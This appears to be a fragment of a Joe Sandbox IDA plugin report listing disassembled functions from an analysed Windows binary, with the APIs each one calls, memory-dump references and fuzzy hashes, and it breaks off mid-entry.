Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: d0b4832eadaf9ab8a0c961fdae2b5906c631ebf086f8b2df1d038d65b961ddb8
Instruction ID: b715cde314bc98981046df4fb0be019043ee9883e3b43372e280ef4ebd309026
Opcode Fuzzy Hash: d0b4832eadaf9ab8a0c961fdae2b5906c631ebf086f8b2df1d038d65b961ddb8
Instruction Fuzzy Hash: DE413C39600514DFCF10DF18C585A9ABBE5AF49710F19809CED4A9B762DB30FD42EB91

Function 00118851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 001188DE

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: c295f0c30369ce97249dcafaa3cf63b72058d03850bea0980a4c9d88ad7f7553
Instruction ID: 4bd717b5f4f0054cf30c27c5442d0bbf0a857bce802dc83af51ab4f073b7e116
Opcode Fuzzy Hash: c295f0c30369ce97249dcafaa3cf63b72058d03850bea0980a4c9d88ad7f7553
Instruction Fuzzy Hash: CC31C33460010CEEEB2C9A58CC85BF877A5EB46354F54C136FA11E61A1CB30A9C0D752

Function 0011AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0011AB60
GetWindowRect.USER32(?,?), ref: 0011ABD6
PtInRect.USER32(?,?,0011C014), ref: 0011ABE6
MessageBeep.USER32(00000000), ref: 0011AC57

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 3c2b045b3a17d55459e6592b99d98f35d4484d33cf19eeb8e6e3d628fedc8b77
Instruction ID: e746848e4b640e9fdb84f6aacea0a20aedfe75d7ca40f7c6a9f9601f4d361217
Opcode Fuzzy Hash: 3c2b045b3a17d55459e6592b99d98f35d4484d33cf19eeb8e6e3d628fedc8b77
Instruction Fuzzy Hash: 0C416830601219DFCB19DF58C884BE97BF6FF49311F9880B9E8189F261D730A881CB92

Function 000F0AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 000F0B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 000F0B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 000F0BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 000F0BFB

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 05c1f9e5c70574f5544b4b3d9b93fcf5005315a0acb613d37ed8ddb3e449cba0
Instruction ID: 455d17faf7df5d4ea90d18fe340759f2ea0a030d192ed2dd7c86537d8c3d75ef
Opcode Fuzzy Hash: 05c1f9e5c70574f5544b4b3d9b93fcf5005315a0acb613d37ed8ddb3e449cba0
Instruction Fuzzy Hash: D9313A70E4021CAEFF748B258C05BFEBBE6AB45318F14825AE691529D3C3758981B751

Function 000F0C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 000F0C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 000F0C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 000F0CE1
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 000F0D33

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 69da9ea3f07b131eb3f9ffd63d6646abe261dd112086214e5156850d9362ba9f
Instruction ID: 80689a011d603c15336b12865cea50b333dba54ec51e9a70f1ef58769d1402d4
Opcode Fuzzy Hash: 69da9ea3f07b131eb3f9ffd63d6646abe261dd112086214e5156850d9362ba9f
Instruction Fuzzy Hash: 2F31583090021CAEFF748B65CC157FEBBE6AB45320F04832EE694629D3C3359985A792

Function 000C61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 000C61FB
__isleadbyte_l.LIBCMT ref: 000C6229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 000C6257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 000C628D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 78a500b9aa330870fafc0bcb50abe43e93f911617a8cb7c2ce4ea9c679b774bc
Instruction ID: 6c9aac47fa0d7744b79e447e5950d7897e5037ad16af22d38f64815bfaf13b58
Opcode Fuzzy Hash: 78a500b9aa330870fafc0bcb50abe43e93f911617a8cb7c2ce4ea9c679b774bc
Instruction Fuzzy Hash: BF318E31604646AFDB318F65CC48FAE7BE9BF41310F19412DE864971A1E732D951DB90

Function 00114EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00114F02

Part of subcall function 000F3641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 000F365B
Part of subcall function 000F3641: GetCurrentThreadId.KERNEL32 ref: 000F3662
Part of subcall function 000F3641: AttachThreadInput.USER32(00000000,?,000F5005), ref: 000F3669

GetCaretPos.USER32(?), ref: 00114F13
ClientToScreen.USER32(00000000,?), ref: 00114F4E
GetForegroundWindow.USER32 ref: 00114F54

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: fe02c4c0bc027964db3bd8d5db150e333824f60deca674c80d27d2ddcd79024e
Instruction ID: 084bc927b49b2f6b66e54eec192bef81f1ddc085ea1794a4b87d274e0d2c682b
Opcode Fuzzy Hash: fe02c4c0bc027964db3bd8d5db150e333824f60deca674c80d27d2ddcd79024e
Instruction Fuzzy Hash: D2311E71D00108AFDB04EFA9C9859EFB7FDEF99300F10806AE455E7242EA759E458BA1

Function 000F3C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 000F3C7A
Process32FirstW.KERNEL32(00000000,?), ref: 000F3C88
Process32NextW.KERNEL32(00000000,?), ref: 000F3CA8
CloseHandle.KERNEL32(00000000), ref: 000F3D52

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 39276c75ced8a32c9a8eadb67700227c97c01c3fd3df5100ea6d97ecff803bc3
Instruction ID: 7e9fcf185286991a74be6de1f462c6f2c13abeecb8466e65f554f7e78712194b
Opcode Fuzzy Hash: 39276c75ced8a32c9a8eadb67700227c97c01c3fd3df5100ea6d97ecff803bc3
Instruction Fuzzy Hash: 5331D1311083099FD704EF60D885AFFBBE8EF95310F50082CF585861A2EB719A49DB93

Function 0011C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

GetCursorPos.USER32(?), ref: 0011C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,000CB9AB,?,?,?,?,?), ref: 0011C4E7
GetCursorPos.USER32(?), ref: 0011C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,000CB9AB,?,?,?), ref: 0011C56E

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 874b3f8a685bc8cd4ee0951b2a6a2048b3c5ab504bbdad5952f240edc999d23a
Instruction ID: 2f27d4837e94262d3130bb79d9df54d38cd1cf83d61e401068dd42f6a9b6f19a
Opcode Fuzzy Hash: 874b3f8a685bc8cd4ee0951b2a6a2048b3c5ab504bbdad5952f240edc999d23a
Instruction Fuzzy Hash: EC319C35600418EFCB69CF59D898EEA7BBBEB09310F444069F9058B661C731AD91DFE4

Function 000E8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000E810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 000E8121
Part of subcall function 000E810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 000E812B
Part of subcall function 000E810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000E813A
Part of subcall function 000E810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 000E8141
Part of subcall function 000E810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 000E8157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 000E86A3
_memcmp.LIBCMT ref: 000E86C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 000E86FC
HeapFree.KERNEL32(00000000), ref: 000E8703

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
String ID:
API String ID: 1592001646-0
Opcode ID: 95455d4592f44e0fad252775f6f12c3f1c033248d2f20be0f8afe43fb16f11da
Instruction ID: b42e6d1bdbcb4ea5d9943e05bdf6d5ddf24a143da9d8ed74dd04146547f37a2b
Opcode Fuzzy Hash: 95455d4592f44e0fad252775f6f12c3f1c033248d2f20be0f8afe43fb16f11da
Instruction Fuzzy Hash: 43215771E40148EFDB14DFA5DA49BEEB7F8EF44308F158059E948AB241DB30AE45CB90

Function 000B098C Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

__setmode.LIBCMT ref: 000B09AE

Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,000F7896,?,?,00000000), ref: 00095A2C
Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,000F7896,?,?,00000000,?,?), ref: 00095A50

_fprintf.LIBCMT ref: 000B09E5
OutputDebugStringW.KERNEL32(?), ref: 000E5DBB

Part of subcall function 000B4AAA: _flsall.LIBCMT ref: 000B4AC3

__setmode.LIBCMT ref: 000B0A1A

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
String ID:
API String ID: 521402451-0
Opcode ID: ae41f8ca1ccff3e764ea3293034d053ec7f62995f24b2a88319dd50b4fa117f8
Instruction ID: 4467243d424b2ba2c36d13c6044eb6ffa1770ca7295fa47d77b2e11e1077ddb4
Opcode Fuzzy Hash: ae41f8ca1ccff3e764ea3293034d053ec7f62995f24b2a88319dd50b4fa117f8
Instruction Fuzzy Hash: DD115931908608BFDB14B3B89C479FE77AC9F41321F240159F10467183EF305942A7A6

Function 00101767 Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 001017A3

Part of subcall function 0010182D: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0010184C
Part of subcall function 0010182D: InternetCloseHandle.WININET(00000000), ref: 001018E9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: ce59cadc176932f418f029a44f212b0c578a0a337295b8132573cf0bb9bc6b7e
Instruction ID: c7d78d3c34005bab4e73da14f3898e8a3f26fab3a8e024b21a1d06570e5e6bd8
Opcode Fuzzy Hash: ce59cadc176932f418f029a44f212b0c578a0a337295b8132573cf0bb9bc6b7e
Instruction Fuzzy Hash: 9621A131200605BFEB169F60DC01FBABBA9FF48B10F14802EFA95966D0DBB5991197A0

Function 000F3A2A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,0011FAC0), ref: 000F3A64
GetLastError.KERNEL32 ref: 000F3A73
CreateDirectoryW.KERNEL32(?,00000000), ref: 000F3A82
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,0011FAC0), ref: 000F3ADF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: ad167de73c5d0e4cf6e8f6669ef28bd905c9f5ca15f0232f027ecd5e2d1144d7
Instruction ID: d28340ff2a729bd05f3edc77955b532011b3d334a3dfa958a27fbc7505a0ae93
Opcode Fuzzy Hash: ad167de73c5d0e4cf6e8f6669ef28bd905c9f5ca15f0232f027ecd5e2d1144d7
Instruction Fuzzy Hash: F321BF741082058F8714EF39C8818BBB7E8AF15374F104A2DF5A9C72A2DB31DA46DB83

Function 000EDCBE Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON

Download Yara Rule

APIs

Part of subcall function 000EF0BC: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,000EDCD3,?,?,?,000EEAC6,00000000,000000EF,00000119,?,?), ref: 000EF0CB
Part of subcall function 000EF0BC: lstrcpyW.KERNEL32(00000000,?,?,000EDCD3,?,?,?,000EEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 000EF0F1
Part of subcall function 000EF0BC: lstrcmpiW.KERNEL32(00000000,?,000EDCD3,?,?,?,000EEAC6,00000000,000000EF,00000119,?,?), ref: 000EF122

lstrlenW.KERNEL32(?,00000002,?,?,?,?,000EEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 000EDCEC
lstrcpyW.KERNEL32(00000000,?,?,000EEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 000EDD12
lstrcmpiW.KERNEL32(00000002,cdecl,?,000EEAC6,00000000,000000EF,00000119,?,?,00000000), ref: 000EDD46

Strings

cdecl, xrefs: 000EDD3D

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: lstrcmpilstrcpylstrlen
String ID: cdecl
API String ID: 4031866154-3896280584
Opcode ID: 1205bc3b72889566fa4514506ae4df66f42396c18d81564e432bd7e9085a3a44
Instruction ID: bb8badcd70023bee0b6b35e5ca30ca0d8548291f8c11da0b961aef02ff58b108
Opcode Fuzzy Hash: 1205bc3b72889566fa4514506ae4df66f42396c18d81564e432bd7e9085a3a44
Instruction Fuzzy Hash: E711BB3A204345EFCB29AF35DC459BA77A8FF45350B40802AE806CB2A1EB71D851C7A1

Function 000C50E2 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 000C5101

Part of subcall function 000B571C: __FF_MSGBANNER.LIBCMT ref: 000B5733
Part of subcall function 000B571C: __NMSG_WRITE.LIBCMT ref: 000B573A
Part of subcall function 000B571C: RtlAllocateHeap.NTDLL(01690000,00000000,00000001,00000000,?,?,?,000B0DD3,?), ref: 000B575F

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 529d2eee15906edf17cb92af4a0c443371e564b97cdc188c5011f201547a5140
Instruction ID: c2c2ca15f35b6d56e1f41370af03f3feebf01a82411054f7c7fee042331288a8
Opcode Fuzzy Hash: 529d2eee15906edf17cb92af4a0c443371e564b97cdc188c5011f201547a5140
Instruction Fuzzy Hash: 9711A376504A15AECB312F74AC49FDE3BD8AB443A2B24852DFD589A1A2DF3099C1C790

Function 00106369 Relevance: 6.1, APIs: 4, Instructions: 61networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,000F7896,?,?,00000000), ref: 00095A2C
Part of subcall function 00095A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,000F7896,?,?,00000000,?,?), ref: 00095A50

gethostbyname.WSOCK32(?), ref: 00106399
WSAGetLastError.WSOCK32(00000000), ref: 001063A4
_memmove.LIBCMT ref: 001063D1
inet_ntoa.WSOCK32(?), ref: 001063DC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_memmovegethostbynameinet_ntoa
String ID:
API String ID: 1504782959-0
Opcode ID: 701b7ceb7702193fcc529031b290fb6573c7dbcacb8c8439dd5de96eebd4a557
Instruction ID: 250088d113e8ea0be7f9bb3e1bc5e9a8fc5ccf00abbc0f858d37ecd1d7f7bbd3
Opcode Fuzzy Hash: 701b7ceb7702193fcc529031b290fb6573c7dbcacb8c8439dd5de96eebd4a557
Instruction Fuzzy Hash: 03116032900109AFCF05FBA5DD46DEEB7B8EF14321B144069F505A72A2DB31AE14DBA1

Function 000E8B41 Relevance: 6.1, APIs: 4, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 000E8B61
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000E8B73
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000E8B89
SendMessageW.USER32(?,000000C9,?,00000000), ref: 000E8BA4

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b78753b663bab1786032ee6a703ce80852c946bcf6ac8837a28a1489fe445ece
Instruction ID: 0285c028b35e400fc38dc5dae2558e48aab741d31a3327bfa840e20e7baad273
Opcode Fuzzy Hash: b78753b663bab1786032ee6a703ce80852c946bcf6ac8837a28a1489fe445ece
Instruction Fuzzy Hash: 1B113679900218BFEB11DBA5C884EADBBB8EB48310F2040A5EA04B7290DB716E11DB94

Function 00091290 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00092612: GetWindowLongW.USER32(?,000000EB), ref: 00092623

DefDlgProcW.USER32(?,00000020,?), ref: 000912D8
GetClientRect.USER32(?,?), ref: 000CB5FB
GetCursorPos.USER32(?), ref: 000CB605
ScreenToClient.USER32(?,?), ref: 000CB610

Memory Dump Source

